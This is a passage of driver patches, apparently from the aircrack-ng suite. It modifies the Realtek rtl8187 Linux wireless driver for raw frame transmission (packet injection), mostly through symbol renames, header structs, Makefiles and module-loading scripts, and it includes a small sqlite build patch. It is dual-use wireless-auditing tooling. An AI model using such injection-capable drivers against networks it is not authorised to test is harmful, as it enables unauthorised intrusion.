sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/ieee80211/Modules.symvers rtl8187_rawtx/ieee80211/Modules.symvers --- rtl8187_orig/ieee80211/Modules.symvers 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-06-21 23:43:15.000000000 +0200 @@ -0,0 +1,39 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -find /lib/modules/$(shell uname -r) -name rtl8187.ko -exec mv -v {} ~/ \; + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_orig/wlan0rmv rtl8187_rawtx/wlan0rmv --- rtl8187_orig/wlan0rmv 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/wlan0rmv 2007-06-26 16:32:43.000000000 +0200 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.1/patches/old/sqlite-3.5.1-lib_cygwin.diff0000644000000000000000000000115210761053203021354 0ustar rootroot--- Makefile.ori 2007-10-08 22:46:20.343750000 +0200 +++ Makefile 2007-10-08 22:49:01.953125000 +0200 @@ -726,11 +726,10 @@ mkdir -p doc mv $(DOC) doc -install: sqlite3 libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(exec_prefix)/bin - $(LTINSTALL) sqlite3 $(DESTDIR)$(exec_prefix)/bin $(INSTALL) -d $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(prefix)/include aircrack-ng-1.1/patches/old/rtl8187_2.6.24.patch0000644000000000000000000127710710761053203017436 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-01-30 17:38:10.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 2008-01-30 17:38:10.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void 